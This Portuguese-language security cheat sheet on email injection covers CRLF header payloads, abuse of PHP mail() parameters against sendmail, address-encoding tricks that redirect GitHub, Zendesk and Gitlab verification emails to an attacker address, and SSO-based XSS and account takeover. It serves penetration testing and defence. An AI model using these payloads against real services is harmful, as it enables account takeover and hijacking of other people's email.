Injeções de E-mail

Reading time: 8 minutes

Injetar em e-mail enviado

Injetar Cc e Bcc após o argumento do remetente

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

A mensagem será enviada para as contas de destinatário e destinatário1.

Argumento de injeção

From:sender@domain.com%0ATo:attacker@domain.com

A mensagem será enviada ao destinatário original e à conta do atacante.

Injetar argumento de Assunto

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

O assunto falso será adicionado ao assunto original e, em alguns casos, o substituirá. Depende do comportamento do serviço de e-mail.

Mudar o corpo da mensagem

Injete uma quebra de linha dupla e, em seguida, escreva sua mensagem para alterar o corpo da mensagem.

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

Exploração da função mail() do PHP

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

O 5º parâmetro ($additional_parameters)

Esta seção será baseada em como abusar deste parâmetro supondo que um atacante o controla.

Este parâmetro será adicionado à linha de comando que o PHP usará para invocar o binário sendmail. No entanto, ele será sanitizado com a função escapeshellcmd($additional_parameters).

Um atacante pode injetar parâmetros adicionais para sendmail neste caso.

Diferenças na implementação de /usr/sbin/sendmail

A interface do sendmail é fornecida pelo software de e-mail MTA (Sendmail, Postfix, Exim etc.) instalado no sistema. Embora a funcionalidade básica (como os parâmetros -t -i -f) permaneça a mesma por razões de compatibilidade, outras funções e parâmetros variam muito dependendo do MTA instalado.

Aqui estão alguns exemplos de diferentes páginas de manual do comando/interface sendmail:

• Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
• Postfix MTA: http://www.postfix.org/mailq.1.html
• Exim MTA: https://linux.die.net/man/8/eximReferences

Dependendo da origem do binário sendmail, diferentes opções foram descobertas para abusar delas e vazar arquivos ou até executar comandos arbitrários. Confira como em https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

Injetar no nome do e-mail

Partes ignoradas de um e-mail

Os símbolos: +, - e {} em raras ocasiões podem ser usados para marcação e ignorados pela maioria dos servidores de e-mail.

• Ex.: john.doe+intigriti@example.com → john.doe@example.com

Comentários entre parênteses () no início ou no final também serão ignorados.

• Ex.: john.doe(intigriti)@example.com → john.doe@example.com

Bypass de whitelist

Citações

IPs

Você também pode usar IPs como nomes de domínio entre colchetes:

• john.doe@[127.0.0.1]
• john.doe@[IPv6:2001:db8::1]

Codificação de E-mail

Como explicado em esta pesquisa, nomes de e-mail também podem conter caracteres codificados:

• PHP 256 overflow: A função chr do PHP continuará adicionando 256 a um caractere até que se torne positivo e então fará a operação %256.
• String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @

Codificações diferentes:

# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com

# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding

# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/

Payloads:

• Github: =?x?q?collab=40psres.net=3e=00?=foo@example.com
• Note o @ codificado como =40, o > codificado como =3e e null como =00
• Ele enviará o email de verificação para collab@psres.net
• Zendesk: "=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com
• Mesma técnica de antes, mas adicionando uma aspa regular no início e a aspa codificada =22 antes do @ codificado e, em seguida, iniciando e fechando algumas aspas antes do próximo email para corrigir a sintaxe usada internamente pelo Zendesk
• Ele enviará o email de verificação para collab@psres.net
• Gitlab: =?x?q?collab=40psres.net_?=foo@example.com
• Note o uso do sublinhado como um espaço para separar o endereço
• Ele enviará o email de verificação para collab@psres.net
• Punycode: Usando Punycode, foi possível injetar uma tag <style no Joomla e abusar dela para roubar o token CSRF via exfiltração de CSS.

Tooling

• Há um script do Burp Suite Turbo Intruder para fuzz essas combinações para tentar atacar formatos de email. O script já possui combinações potencialmente funcionais.
• Também é possível usar Hackvertor para criar um ataque de divisão de email

Other vulns

Third party SSO

XSS

Alguns serviços como github ou salesforce permitem que você crie um endereço de email com payloads XSS nele. Se você puder usar esses provedores para fazer login em outros serviços e esses serviços não estiverem sanitizando corretamente o email, você pode causar XSS.

Account-Takeover

Se um serviço SSO permitir que você crie uma conta sem verificar o endereço de email fornecido (como salesforce) e depois você puder usar essa conta para fazer login em um serviço diferente que confia no salesforce, você poderá acessar qualquer conta.
Observe que o salesforce indica se o email fornecido foi ou não verificado, mas a aplicação deve levar em conta essa informação.

Reply-To

Você pode enviar um email usando From: company.com e Replay-To: attacker.com e se qualquer resposta automática for enviada devido ao email ter sido enviado de um endereço interno, o atacante pode ser capaz de receber essa resposta.

Hard Bounce Rate

Certos serviços, como AWS, implementam um limite conhecido como Hard Bounce Rate, tipicamente definido em 10%. Esta é uma métrica crítica, especialmente para serviços de entrega de email. Quando essa taxa é excedida, o serviço, como o serviço de email da AWS, pode ser suspenso ou bloqueado.

Um hard bounce refere-se a um email que foi retornado ao remetente porque o endereço do destinatário é inválido ou não existe. Isso pode ocorrer por várias razões, como o email sendo enviado para um endereço inexistente, um domínio que não é real, ou a recusa do servidor do destinatário em aceitar emails.

No contexto da AWS, se você enviar 1000 emails e 100 deles resultarem em hard bounces (devido a razões como endereços ou domínios inválidos), isso significaria uma taxa de hard bounce de 10%. Atingir ou exceder essa taxa pode fazer com que o AWS SES (Simple Email Service) bloqueie ou suspenda suas capacidades de envio de email.

É crucial manter uma baixa taxa de hard bounce para garantir um serviço de email ininterrupto e manter a reputação do remetente. Monitorar e gerenciar a qualidade dos endereços de email em suas listas de mala direta pode ajudar significativamente a alcançar isso.

Para informações mais detalhadas, a documentação oficial da AWS sobre como lidar com bounces e reclamações pode ser consultada em AWS SES Bounce Handling.

References

• https://resources.infosecinstitute.com/email-injection/
• https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
• https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
• https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0